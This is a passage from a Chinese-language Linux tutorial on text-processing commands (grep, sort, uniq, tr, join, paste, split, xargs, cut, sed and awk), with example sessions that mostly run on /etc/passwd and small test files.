ke$行尾,搜寻以 ke 结束的行;grep -n ‘ke$’ 1.txt
[Ss]igna[Ll]匹配 [] 里中一系列字符中的一个;搜寻匹配单词signal、signaL、Signal、SignaL的行;grep -n ‘[Ss]igna[Ll]’ 1.txt
..匹配一个非换行符的字符;grep -n ‘e.e’ 1.txt可以匹配 eee,eae,eve,但是不匹配 ee,eaae;
*匹配零个或多个先前字符
[^]匹配一个不在指定范围内的字符
\(..\)标记匹配字符
\锚定单词的开始
\<锚定单词的开头
\>锚定单词的结束
x\{m\}重复字符x,m次
x\{m,\}重复字符x,至少m次
x\{m,n\}重复字符x,至少m次,不多于n次
\w匹配文字和数字字符,也就是[A-Za-z0-9]
\b单词锁定符

实例:显示所有以“h”结尾的行
grep h$
匹配所有以“a”开头且以“e”结尾的,中间包含2个字符的单词
grep ‘<a…e>’
显示所有包含一个”y”或”h”字符的行
grep [yh]
显示不包含字母a~k 且后紧跟“pple”的单词

1
grep [^a-k]pple

从系统词典中选择所有以“c”开头且以“o”结尾的单词grep '\<c.*o\>'
找出一个文件中或者输出中找到包含*的行grep '\*'
显示所有包含每个字符串至少有20个连续字母的单词的行
grep [a-Z]\{20,\}

sort - 排序

语法:

1
2
sort [-fbMnrtuk] [file or stdin]
1

参数说明

  • -f :忽略大小写的差异,例如 A 与 a 视为编码相同;

  • -b :忽略最前面的空格符部分;

  • -M :以月份的名字来排序,例如 JAN, DEC 等等的排序方法;

  • -n :使用『纯数字』进行排序(默认是以文字型态来排序的);

  • -r :反向排序;

  • -u :就是 uniq ,相同的数据中,仅出现一行代表;

  • -t :分隔符,默认是用 [tab] 键来分隔;

  • -k :以哪个区间 (field) 来进行排序

默认是以第一个字符升序排序:

1
2
3
4
5
6
7
# cat /etc/passwd | sort 
adm:x:3:4:adm:/var/adm:/sbin/nologin
avahi-autoipd:x:100:156:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
bin:x:1:1:bin:/bin:/sbin/nologin
......
123456

以第3列排序:

1
2
3
4
5
6
7
[root@www ~]# cat /etc/passwd | sort -t ':' -k 3
root:x:0:0:root:/root:/bin/bash
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
bin:x:1:1:bin:/bin:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
123456

使用数字排序:

1
2
3
4
5
cat /etc/passwd | sort -t ':' -k 3n
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
1234

倒序排序:

1
2
3
4
5
6
7
8
cat /etc/passwd | sort -t ':' -k 3nr
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
ntp:x:106:113::/home/ntp:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
或者
cat /etc/passwd | sort -t ':' -k 3 -nr
1234567

先以第六个域的第2个字符到第4个字符进行正向排序,再基于第一个域进行反向排序:

1
2
3
4
5
6
cat /etc/passwd |  sort -t ':' -k 6.2,6.4 -k 1r      
sync:x:4:65534:sync:/bin:/bin/sync
proxy:x:13:13:proxy:/bin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
12345

查看/etc/passwd有多少个shell:

方法对/etc/passwd的第七个域排序并去重,然后统计行数:

1
2
3
4
5
6
7
8
9
10
[root@VM_0_9_centos ~]# cat /etc/passwd |  sort -t':' -k 7 -u
root:x:0:0:root:/root:/bin/bash
syslog:x:996:994::/home/syslog:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
halt:x:7:0:halt:/sbin:/sbin/halt
bin:x:1:1:bin:/bin:/sbin/nologin
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
[root@VM_0_9_centos ~]# cat /etc/passwd | sort -t':' -k 7 -u|wc -l
6
123456789

uniq - 去重

1
2
3
4
5
选项与参数:
-i :忽略大小写字符的不同;
-c :进行计数
-u :只显示唯一的行
1234

该命令用于排完序之后,对排序结果进行去重

1
2
3
4
5
6
7
8
9
10
11
12
13
python@xxx:~$ last | cut -d ' ' -f 1  | sort | uniq

haha
python
reboot
wtmp
python@xxx:~$ last | cut -d ' ' -f 1 | sort | uniq -c
1
2 haha
22 python
7 reboot
1 wtmp
123456789101112

排序文件,默认是去重:

1
2
3
4
5
#cat words | sort |uniq
friend
hello
world
1234

排序之后删除了重复行,同时在行首位置输出该行重复的次数:

1
2
3
4
5
#sort testfile | uniq -c
1 friend
3 hello
2 world
1234

仅显示存在重复的行,并在行首显示该行重复的次数:

1
2
3
4
#sort testfile | uniq -dc
3 hello
2 world
123

仅显示不重复的行:

1
2
3
sort testfile | uniq -u
friend
12

tee - 同时输出多个文件

从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。

一般情况下用重定向实现,需要同时输出多个文件时可以使用该命令。

参数

  • -a或–append  附加到既有文件的后面,而非覆盖它.

将输出同时保存到多个文件中,同时将输出内容显示到控制台:

1
2
3
4
5
6
7
8
9
10
python@xxx:~/test$ echo "hello world"|tee f1 f2 
hello world
python@xxx:~/test$ cat f1
hello world
python@xxx:~/test$ echo "hello world"|tee f1 f2 -a
hello world
python@xxx:~/test$ cat f1
hello world
hello world
123456789

tr - 替换指定的字符

不指定参数时,即表示替换指定的字符为另一个字符,支持指定的字符集合。

参数说明:

  • -d, --delete:删除指定的字符

  • -s, --squeeze-repeats:缩减连续重复的字符成指定的单个字符

字符集合的范围:

  • \NNN 八进制值的字符 NNN (1 to 3 为八进制值的字符)

  • \ 反斜杠

  • \a Ctrl-G 铃声

  • \b Ctrl-H 退格符

  • \f Ctrl-L 走行换页

  • \n Ctrl-J 新行

  • \r Ctrl-M 回车

  • \t Ctrl-I tab键

  • \v Ctrl-X 水平制表符

  • CHAR1-CHAR2 :字符范围从 CHAR1 到 CHAR2 的指定,范围的指定以 ASCII 码的次序为基础,只能由小到大,不能由大到小。

  • [CHAR*] :这是 SET2 专用的设定,功能是重复指定的字符到与 SET1 相同长度为止

  • [CHAR*REPEAT] :这也是 SET2 专用的设定,功能是重复指定的字符到设定的 REPEAT 次数为止(REPEAT 的数字采 8 进位制计算,以 0 为开始)

  • [:alnum:] :所有字母字符与数字

  • [:alpha:] :所有字母字符

  • [:blank:] :所有水平空格

  • [:cntrl:] :所有控制字符

  • [:digit:] :所有数字

  • [:graph:] :所有可打印的字符(不包含空格符)

  • [:lower:] :所有小写字母

  • [:print:] :所有可打印的字符(包含空格符)

  • [:punct:] :所有标点字符

  • [:space:] :所有水平与垂直空格符

  • [:upper:] :所有大写字母

  • [:xdigit:] :所有 16 进位制的数字

  • [=CHAR=] :所有符合指定的字符(等号里的 CHAR,代表你可自订的字符)

将文件testfile中的小写字母全部转换成大写字母:

1
2
3
4
cat testfile |tr a-z A-Z 

cat testfile |tr [:lower:] [:upper:]
123

缩减连续重复的字符成指定的单个字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
python@xxx:~/test$ cat t
dddddddsssssdd
eeeeeeeeee
aaaaaaaaaaaaaa
vvvvvvvvvvvvvv
python@xxx:~/test$ cat t|tr -s 'se'
dddddddsdd
e
aaaaaaaaaaaaaa
vvvvvvvvvvvvvv
python@xxx:~/test$ cat t|tr -s 'sdeav'
dsd
e
a
v
123456789101112131415

删除指定的字符:

1
2
3
4
5
python@xxx:~/test$ cat t|tr -d 'dv'
sssss
eeeeeeeeee
aaaaaaaaaaaaaa
1234

join - 文件按行连接

将两个文件中指定栏位相同的行连接起来。即按照两个文件中共同拥有的某一列,将对应的行拼接成一行。

注意:在使用join之前所处理的文件要事先经过排序。

1
2
3
4
5
6
7
8
9
$ cat testfile_1
Hello 95 #例如,本例中第一列为姓名,第二列为数额
Linux 85
test 30
cmd@hdd-desktop:~$ cat testfile_2
Hello 2005 #例如,本例中第一列为姓名,第二列为年份
Linux 2009
test 2006
12345678

使用join命令,将两个文件连接:

1
2
3
4
5
$ join testfile_1 testfile_2 #连接testfile_1、testfile_2中的内容  
Hello 95 2005 #连接后显示的内容
Linux 85 2009
test 30 2006
1234

两个文件互换,输出结果的变化:

1
2
3
4
5
$ join testfile_2 testfile_1 #改变文件顺序连接两个文件  
Hello 2005 95 #连接后显示的内容
Linux 2009 85
test 2006 30
1234

参数

  • -a<1或2> 除了显示原来的输出内容之外,还显示指令文件中没有相同栏位的行。

  • -e<字符串> 若[文件1]与[文件2]中找不到指定的栏位,则在输出中填入选项中的字符串。

  • -i或–igore-case 比较栏位内容时,忽略大小写的差异。

  • -o<格式> 按照指定的格式来显示结果。

  • -t<字符> 使用栏位的分隔字符。

  • -v<1或2> 跟-a相同,但是只显示文件中没有相同栏位的行。

  • -1<栏位> 连接[文件1]指定的栏位。

  • -2<栏位> 连接[文件2]指定的栏位。

paste-将多个文件对应行链接在一起

paste 指令会把每个文件以列对列的方式,一列列地加以合并。

语法:

1
2
paste [-s][-d <间隔字符>][文件...]
1

参数

  • -d<间隔字符>或–delimiters=<间隔字符>  用指定的间隔字符取代跳格字符。

  • -s或–serial  串列进行而非平行处理。

  • [文件…] 指定操作的文件路径

使用paste指令将文件"file"、“testfile”、"testfile1"进行合并,输入如下命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ cat file                  #file文件的内容  
xiongdan 200
lihaihui 233
lymlrl 231
$ cat testfile #testfile文件的内容
liangyuanm ss
$ cat testfile1 #testfile1文件的内容
huanggai 56
zhixi 73
$ paste file testfile testfile1
xiongdan 200 liangyuanm ss huanggai 56
lihaihui 233 zhixi 73
lymlrl 231
$ paste -d ':' file testfile testfile1
xiongdan 200:liangyuanm ss:huanggai 56
lihaihui 233::zhixi 73
lymlrl 231::
1234567891011121314151617

参数"-s"可以将一个文件中的多行数据合并为一行进行显示:

1
2
3
$ paste -s file             #合并指定文件的多行数据
xiongdan 200 lihaihui 233 lymlrl 231
12

如果将文件位置改为-,表示接收标准输入:

1
2
3
4
5
$ cat file |paste testfile1 -
huanggai 56 xiongdan 200
zhixi 73 lihaihui 233
lymlrl 231
1234

split - 文件切割

split命令用于将一个文件分割成数个。

该指令将大文件分割成较小的文件,在默认情况下将按照每1000行切割成一个小文件。

语法:

1
2
3
4
5
split [-bl] file prefix
-b: 以大小切割
-l:以行数切割
prefix:切割后文件的前缀
1234

参数说明

  • -<行数> : 指定每多少行切成一个小文件

  • -b<字节> : 指定每多少字节切成一个小文件

  • -C<字节> : 与参数"-b"相似,但是在切 割时将尽量维持每行的完整性

  • [输出文件名] : 设置切割后文件的前置文件名, split会自动在前置文件名后再加上编号

使用指令"split"将文件"README"每6行切割成一个文件,输入如下命令:

1
2
3
4
5
$ split -6 README       #将README文件每六行分割成一个文件 
$ ls #执行ls指令
#获得当前目录结构
README xaa xad xag xab xae xah xac xaf xai
1234

以上命令执行后,指令"split"会将原来的大文件"README"切割成多个以"x"开头的小文件。而在这些小文件中,每个文件都只有6行内容。

以大小切割:

1
2
3
4
5
6
7
8
9
$ ls -lh disease.dmp
-rwxr-xr-x 1 root root 122M Jul 4 2013 disease.dmp
$ split -b 50m disease.dmp disease.dmp
$ ls -lh disease.dmp*
-rwxr-xr-x 1 root root 122M Jul 4 2013 disease.dmp
-rw-r--r-- 1 root root 50M Jan 9 16:10 disease.dmpaa
-rw-r--r-- 1 root root 50M Jan 9 16:10 disease.dmpab
-rw-r--r-- 1 root root 22M Jan 9 16:10 disease.dmpac
12345678

xargs - 参数代换

不是所有的命令都支持管道,如ls,对于不支持管道的命令,可以通过xargs让其有管道命令的效果,如下所示:

1
2
3
4
5
6
7
8
9
10
# find /sbin -perm +7000 | xargs ls -l
-rwsr-x--- 1 root ecryptfs 19896 Feb 23 2012 /sbin/mount.ecryptfs_private
-rwsr-xr-x 1 root root 75496 Jan 9 2013 /sbin/mount.nfs
-rwsr-xr-x 1 root root 75504 Jan 9 2013 /sbin/mount.nfs4
-rwxr-sr-x 1 root root 8544 Feb 22 2012 /sbin/netreport
-rwsr-xr-x 1 root root 14112 Nov 2 2010 /sbin/pam_timestamp_check
-rwsr-xr-x 1 root root 75504 Jan 9 2013 /sbin/umount.nfs
-rwsr-xr-x 1 root root 75504 Jan 9 2013 /sbin/umount.nfs4
-rwsr-xr-x 1 root root 19768 Nov 2 2010 /sbin/unix_chkpwd
123456789

如果没有xargs,ls -l的结果将不是前面find的标准输出,因为ls不支持管道命令。

xargs 用作替换工具,读取输入数据重新格式化后输出。

定义一个测试文件,内有多行文本数据:

1
2
3
4
5
6
7
# cat test.txt
a b c d e f g
h i j k l m n
o p q
r s t
u v w x y z
123456

多行输入单行输出:

1
2
3
# cat test.txt | xargs
a b c d e f g h i j k l m n o p q r s t u v w x y z
12

-n 选项多行输出:

1
2
3
4
5
6
7
8
9
10
11
# cat test.txt | xargs -n3
a b c
d e f
g h i
j k l
m n o
p q r
s t u
v w x
y z
12345678910

-d 选项可以自定义一个定界符:

1
2
3
# echo "nameXnameXnameXname" | xargs -dX
name name name name
12

结合 -n 选项使用:

1
2
3
4
# echo "nameXnameXnameXname" | xargs -dX -n2
name name
name name
123

读取 stdin,将格式化后的参数传递给命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
# cat sk.sh
#!/bin/bash
#sk.sh命令内容,打印出所有参数。
echo $*
# cat arg.txt
aaa
bbb
ccc
# cat arg.txt | xargs -I {} ./sk.sh -p {} -l
-p aaa -l
-p bbb -l
-p ccc -l
123456789101112

选项-I指定一个替换字符串 {},这个字符串在 xargs 扩展时会被替换掉。

复制所有图片文件到 /data/images 目录下:

1
2
ls *.jpg | xargs -n1 -I {} cp {} /data/images
1

选项-n 后面加次数,表示命令在执行的时候一次用的argument的个数,默认是用所有的。

xargs 结合 find 使用

用 rm 删除太多的文件时候,可能得到一个错误信息:/bin/rm Argument list too long. 用 xargs 去避免这个问题:

1
2
find . -type f -name "*.log" -print0 | xargs -0 rm -f
1

xargs -0 将 \0 作为定界符。

统计一个源代码目录中所有 php 文件的行数:

1
2
find . -type f -name "*.php" -print0 | xargs -0 wc -l
1

查找所有的 jpg 文件,并且压缩它们:

1
2
find . -type f -name "*.jpg" -print | xargs tar -czvf images.tar.gz
1

批量下载:

1
2
# cat url-list.txt | xargs wget -c
1

wget的-c选项表示断点续传。

文本编辑命令

cut命令

1
2
3
4
选项与参数:
-d :后面接分隔字符。与 -f 一起使用;
-f :依据 -d 的分隔字符将一段信息分割成为数段,用 -f 取出第几段的意思;
-c :以字符 (characters) 的单位取出固定字符区间;

cut以行为单位,根据分隔符把行分成若干列,这样就可以指定选取哪些列了。

1
2
3
4
5
6
cut -d '分隔字符' -f 选取的列数
echo $PATH|cut -d ':' -f 2 --选取第2列
echo $PATH|cut -d ':' -f 3,5 --选取第3列和第5列
echo $PATH|cut -d ':' -f 3-5 --选取第3列到第5列
echo $PATH|cut -d ':' -f 3- --选取第3列到最后1列
echo $PATH|cut -d ':' -f 1-3,5 --选取第1到第3列还有第5列

只显示/etc/passwd的用户和shell:

1
2
3
4
#cat /etc/passwd | cut -d ':' -f 1,7 
root:/bin/bash
daemon:/bin/sh
bin:/bin/sh

sed命令

sed 可依照脚本的指令来处理、编辑文本文件。

Sed 主要用来自动编辑一个或多个文件、简化对文件的反复操作、编写转换程序等。

语法:

1
sed [-e<script>][-f<script文件>][文本文件]

参数说明

  • -e <script>以指定的script来处理输入的文本文件。

  • -f<script文件>以指定的script文件来处理输入的文本文件。

  • -n仅显示script处理后的结果,一般跟p动作搭配使用。

  • -i使用处理后的结果修改文件。

动作说明

  • a:在指定行后面插入内容

  • i:在指定行前面插入内容

  • d:删除指定行

  • c :替换指定行

  • p :打印指定行的数据,通常需要跟-n选项搭配使用

  • s :替换指定字符,兼容vim的替换语法,例如 1,20s/old/new/g

元字符集

sed支持一般的正则表达式,下面是支持的正则语法:^行的开始 如:/^sed/匹配所有以sed开头的行。$行的结束 如:/sed$/匹配所有以sed结尾的行。.匹配一个非换行符的任意字符 如:/s.d/匹配s后接一个任意字符,然后是d。*匹配零或多个字符 如:/*sed/匹配所有模板是一个或多个空格后紧跟sed的行。[]匹配一个指定范围内的字符,如/[Ss]ed/匹配sed和Sed。[^]匹配一个不在指定范围内的字符,如:/[^A-RT-Z]ed/匹配不包含A-R和T-Z的一个字母开头,紧跟ed的行。\(..\)保存匹配的字符,如s/(love)able/\1rs,loveable被替换成lovers。&保存搜索字符用来替换其他字符,如s/love/**&**/,love这成**love**\<单词的开始,如:/<love/匹配包含以love开头的单词的行。\>单词的结束,如/love>/匹配包含以love结尾的单词的行。x\+重复字符x,至少1次,如:/o\+/匹配至少有1个o的行。x\{m\}重复字符x,m次,如:/o\{5\}/匹配包含5个o的行。x\{m,\}重复字符x,至少m次,如:/o\{5,\}/匹配至少有5个o的行。x\{m,n\}重复字符x,至少m次,不多于n次,如:/o\{5,10\}/匹配5-10个o的行。

a|i:在指定行位置添加行

1
2
3
4
5
6
7
8
9
10
11
12
[root@rocky8:Corazon]# cat a
LINUX!
Linux is a free unix-type opterating system.
This is a linux testfile!
Linux test

[root@rocky8:Corazon]# sed -e 2a\newline a
LINUX!
Linux is a free unix-type opterating system.
newline
This is a linux testfile!
Linux test

默认情况下-e参数可以省略:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[root@rocky8:Corazon]# cat a | sed '2a\newline'
LINUX!
Linux is a free unix-type opterating system.
newline
This is a linux testfile!
Linux test
[root@rocky8:~]# sed 2a\newline a
NUX!
Linux is a free unix-type opterating system.
newline
This is a linux testfile!
Linux test
[root@rocky8:Corazon]# sed '2a newline' a
LINUX!
Linux is a free unix-type opterating system.
newline
This is a linux testfile!
Linux test

在第二行之前添加一行:

1
2
3
4
5
6
[root@rocky8:Corazon]# sed '2i newline' a
LINUX!
newline
Linux is a free unix-type opterating system.
This is a linux testfile!
Linux test

最后一行加入 # This is a test:

1
2
3
4
5
6
7
[root@rocky8:Corazon]# sed '$a # This is a test' a
LINUX!
Linux is a free unix-type opterating system.
This is a linux testfile!
Linux test

# This is a test

同时添加多行:

1
2
3
4
5
6
7
8
[root@rocky8:Corazon]# cat a|sed '2a\newline1\
> newline2'
LINUX!
Linux is a free unix-type opterating system.
newline1
newline2
This is a linux testfile!
Linux test

d:删除指定行

将 /etc/passwd 的内容列出行号,并将第 2~5 行删除!

1
2
3
4
5
[root@rocky8:~]# nl /etc/passwd|sed '2,5d'
1 root:x:0:0:root:/root:/bin/bash
6 sync:x:5:0:sync:/sbin:/bin/sync
7 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
.....(后面省略).....

只删除第2行:

1
nl /etc/passwd | sed '2d' 

删除第3到最后一行:

1
nl /etc/passwd | sed '3,$d' 

删除/etc/passwd所有包含/sbin/nologin的行,其他行输出:

1
2
3
4
5
6
7
8
[root@rocky8:~]# nl /etc/passwd|sed '/\/sbin\/nologin/d'
1 root:x:0:0:root:/root:/bin/bash
6 sync:x:5:0:sync:/sbin:/bin/sync
7 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
8 halt:x:7:0:halt:/sbin:/sbin/halt
25 zah:x:1000:1000:Zah:/home/zah:/bin/bash
26 Cora:x:1002:1002::/home/Cora:/bin/bash
27 Corazon:x:1003:1003::/home/Corazon:/bin/bash

c:替换指定行

将第2-5行的内容替换成为『No 2-5 number』:

1
2
3
4
[root@rocky8:~]# nl /etc/passwd|sed '2,5c No 2-5 number'
1 root:x:0:0:root:/root:/bin/bash
No 2-5 number
6 sync:x:5:0:sync:/sbin:/bin/sync

p:仅显示指定行

不加-n选项时,除了输出匹配行,还同时会输出所有行,所以需要加-n选项。

仅列出 /etc/passwd 文件内的第 5-7 行:

1
2
3
4
[root@rocky8:~]# nl /etc/passwd|sed -n '5,7p'
5 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
6 sync:x:5:0:sync:/sbin:/bin/sync
7 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

搜索 /etc/passwd有root关键字的行:

1
2
3
4
5
6
[root@rocky8:~]# cat /etc/passwd|sed -n '/root/p'
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
[root@rocky8:~]# sed -n '/root/p' /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin

打印/etc/passwd有以root和bin开头之间的行:

1
2
3
[root@rocky8:~]# sed -n '/^root/,/^bin/p' /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin

打印从第五行开始到第一个包含以/usr/games开始的行之间的所有行:

1
2
3
4
5
6
7
8
[root@rocky8:~]# nl /etc/passwd | sed -n '5,\/usr\/games/p'
5 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
6 sync:x:5:0:sync:/sbin:/bin/sync
7 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
8 halt:x:7:0:halt:/sbin:/sbin/halt
9 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
10 operator:x:11:0:operator:/root:/sbin/nologin
11 games:x:12:100:games:/usr/games:/sbin/nologin

s:字符串替换

语法:

1
sed 's/要被取代的字串/新的字串/g'

不论什么字符,紧跟着s命令的都被认为是新的分隔符.

sed 's#10#100#g'表示把所有10替换成100,“#”在这里是分隔符,代替了默认的“/”分隔符。

提取本机所有的ip地址:

1
2
3
4
5
6
[root@rocky8:~]# ifconfig | grep 'inet '
inet 10.0.0.191 netmask 255.255.255.0 broadcast 10.0.0.255
inet 127.0.0.1 netmask 255.0.0.0
[root@rocky8:~]# ifconfig | grep 'inet '|sed 's/^[^0-9]*\([0-9\.]*\).*$/\1/g'
10.0.0.191
127.0.0.1

对于以root和bin开头之间的行,每行的末尾添加sed test:

1
2
3
4
5
6
[root@rocky8:~]# cat /etc/passwd | sed '/^root/,/^bin/s/$/--sed test/'
root:x:0:0:root:/root:/bin/bash--sed test
daemon:x:2:2:daemon:/sbin:/sbin/nologin--sed test
bin:x:1:1:bin:/bin:/sbin/nologin--sed test
adm:x:3:4:adm:/var/adm:/sbin/nologin
......

y:单字符替换

跟s一样也用于替换,不过s替换的是整体,y替换的是每一字母对应的单个字母

把data中的第一行至第三行中的a替换成A,b替换成B,c替换成C:

1
sed '1,3y/abc/ABC/' data 

示例:

1
2
3
4
[root@rocky8:~]# echo "123" | sed 'y/13/34/'
324
[root@rocky8:~]# echo "axxbxxcxx" | sed 'y/abc/123/'
1xx2xx3xx

注:单个字符转换用y,字符串转换用's/str1/str2/g'

hHgG模式空间与保持空间

首先介绍一下模式空间和保持空间:

(H、h、G、g、x)
模式空间:sed处理文本内容行的一个临时缓冲区,模式空间中的内容会主动打印到标准输出,并自动清空模式空间

**保持空间:**sed处理文本内容行的另一个临时缓冲区,不同的是保持空间内容不会主动清空,也不会主动打印到标准输出,而是需要sed命令来进行处理

模式空间与保持空间的关系:

**模式空间:**相当于流水线,文本行再模式空间中进行处理;
**保持空间:**相当于仓库,在模式空间对数据进行处理时,可以把数据临时存储到保持空间;作为模式空间的一个辅助临时缓冲区,但又是相互独立,可以进行交互,命令可以寻址模式空间但是不能寻址保持空间。可以使用高级命令h,H,g,G与模式空间进行交互。

实际上, 保持空间是模式空间一个临时存放数据的缓冲区,协助模式空间进行数据处理。

相关命令的作用:

d Delete pattern space. Start next cycle.
删除pattern space的内容,开始下一个循环

h H Copy/append pattern space to hold space.
复制/追加pattern space的内容到hold space.(复制会覆盖原内容)

g G Copy/append hold space to pattern space.
复制/追加hold space的内容到pattern space. (复制会覆盖原内容)

x Exchange the contents of the hold and pattern spaces.
交换hold space和pattern space的内容.

h命令是将当前模式空间中内容覆盖至保持空间,H命令是将当前模式空间中的内容追加至保持空间

g命令是将当前保持空间中内容覆盖至模式空间,G命令是将当前保持空间中的内容追加至模式空间

模拟tac命令:

1
2
3
4
5
6
7
8
9
10
11
12
[root@rocky8:~]# cat num
One
Two
Three
[root@rocky8:~]# tac num
Three
Two
One
[root@rocky8:~]# sed '1!G;h;$!d' num
Three
Two
One

1!G第1行不 执行“G”命令,从第2行开始执行。

$!d,最后一行不删除(保留最后1行)(只有最后一行不删)

原理图:

image-20250219211455837

递增序列:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[root@rocky8:~]# seq 3|sed 'H;g'

1

1
2

1
2
3
[root@rocky8:~]# seq 3|sed '1h;1!H;g'
1
1
2
1
2
3

多次指定-e选项进行多点编辑

删除/etc/passwd第三行到末尾的数据,并把bash替换为blueshell:

1
2
3
[root@rocky8:~]# nl /etc/passwd | sed -e '3,$d' -e 's/bash/blueshell/'
1 root:x:0:0:root:/root:/bin/blueshell
2 daemon:x:2:2:daemon:/sbin:/sbin/nologin

删除一个文件以#开头的行和空行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[root@rocky8:~]# cat abc

b
a

# aaa

ddd

# sss
eeee


[root@rocky8:~]# sed -e '/^#/d' -e '/^$/d' abc
b
a
ddd
eeee

也可以通过;实现

1
2
3
4
5
6
7
8
[root@rocky8:~]# nl /etc/passwd|sed '3,$d;s/bash/blueshell/' 
1 root:x:0:0:root:/root:/bin/blueshell
2 daemon:x:2:2:daemon:/sbin:/sbin/nologin
[root@rocky8:~]# sed '/^#/d;/^$/d' abc
b
a
ddd
eeee

选项-i直接修改文件内容

默认情况下sed命令仅仅只是将处理结果显示在控制台,加-i选项则会修改文件内容。

将 regular_express.txt 内每一行结尾若为 . 则换成 !

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[root@rocky8:~]# cat re
taobao.
google.
taobao.
facebook.
zhihu-
weibo-
[root@rocky8:~]# sed -i 's/\.$/\!/' re
[root@rocky8:~]# cat re
taobao!
google!
taobao!
facebook!
zhihu-
weibo-

awk命令

AWK是一种处理文本文件的语言,是一个强大的文本分析工具。

之所以叫AWK是因为其取了三位创始人 Alfred Aho,Peter Weinberger, 和 Brian Kernighan 的 Family Name 的首字符。

语法:

1
2
3
awk [选项参数] 'script' var=value file(s)

awk [选项参数] -f scriptfile var=value file(s)

选项参数说明:

  • -F fs or --field-separator fs
    指定输入文件折分隔符,fs是一个字符串或者是一个正则表达式,如-F:。

  • -v var=value or --asign var=value
    赋值一个用户定义变量。

  • -f scripfile or --file scriptfile
    从脚本文件中读取awk命令。

基本用法

1
awk '{[pattern] action}' file

每行按空格或TAB分割,使用print输出文本中的1、4列:

1
2
3
4
5
6
7
8
9
10
[root@rocky8:~]# cat log
2 this is a test
3 Are you like awk
This's a test
10 There are orange,apple,mongo
[root@rocky8:~]# awk '{print $1,$4}' log
2 a
3 like
This's
10 orange,apple,mongo

使用printf格式化输出:

1
2
3
4
5
[root@rocky8:~]# awk '{printf "%-8s %-10s\n",$1,$4}' log
2 a
3 like
This's
10 orange,apple,mongo
-F指定分割字符
1
awk -F  #-F相当于内置变量FS, 指定分割字

使用:分割,取/etc/passwd文件每个用户对应shell:

1
2
3
4
5
6
7
8
[root@rocky8:~]# awk -F: '{print $1,$7}' /etc/passwd
root /bin/bash
daemon /sbin/nologin
bin /sbin/nologin
adm /sbin/nologin
lp /sbin/nologin
sync /bin/sync
......

同时使用:和/l两个分隔符分割/etc/passwd文件

1
2
3
4
5
6
[root@rocky8:~]# awk -F '[:\/]' '{print $1,$7}'  /etc/passwd
awk: warning: escape sequence `\/' treated as plain `/'
root root
daemon sbin
bin bin
......
-v设置变量
1
awk -v  # 设置变量

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[root@rocky8:~]# cat log
2 this is a test
3 Are you like awk
This's a test
10 There are orange,apple,mongo
[root@rocky8:~]# awk -va=1 '{print $1,$1+a}' log
2 3
3 4
This's 1
10 11
[root@rocky8:~]# awk -va=1 -vb=s '{print $1,$1+a,$1b}' log
2 3 2s
3 4 3s
This's 1 This'ss
10 11 10s
-f指定awk脚本
1
awk -f {awk脚本} {文件名}

脚本模块:

  • BEGIN{ 这里面放的是执行前的语句 }

  • END {这里面放的是处理完所有的行后要执行的语句 }

  • {这里面放的是处理每一行时要执行的语句}

假设有这么一个文件(学生成绩表):

1
2
3
4
5
6
[root@rocky8:~]# cat score
Marry 2143 78 84 77
Jack 2321 66 78 45
Tom 2122 48 77 71
Mike 2537 87 97 95
Bob 2415 40 57 62

awk脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[root@rocky8:~]# cat cal.awk
#!/bin/awk -f
#运行前
BEGIN {
math = 0
english = 0
computer = 0

printf "NAME NO. MATH ENGLISH COMPUTER TOTAL\n"
printf "---------------------------------------------\n"
}
#运行中
{
math+=$3
english+=$4
computer+=$5
printf "%-6s %-6s %4d %8d %8d %8d\n", $1,$2,$3,$4,$5,$3+$4+$5
}
#运行后
END {
printf "---------------------------------------------\n"
printf " TOTAL:%10d %8d %8d \n", math, english, computer
printf "AVERAGE:%10.2f %8.2f %8.2f\n", math/NR, english/NR, computer/NR
}

注:END{}中的NR表示已经读出的记录数,就是行号,从1开始

我们来看一下执行结果:

1
2
3
4
5
6
7
8
9
10
11
[root@rocky8:~]# awk -f cal.awk score
NAME NO. MATH ENGLISH COMPUTER TOTAL
---------------------------------------------
Marry 2143 78 84 77 239
Jack 2321 66 78 45 189
Tom 2122 48 77 71 196
Mike 2537 87 97 95 279
Bob 2415 40 57 62 159
---------------------------------------------
TOTAL: 319 393 350
AVERAGE: 63.80 78.60 70.00

AWK工作原理

AWK 工作流程可分为三个部分:

  • 读输入文件之前执行的代码段(由BEGIN关键字标识)。

  • 主循环执行输入文件的代码段。

  • 读输入文件之后的代码段(由END关键字标识)。

命令结构:

1
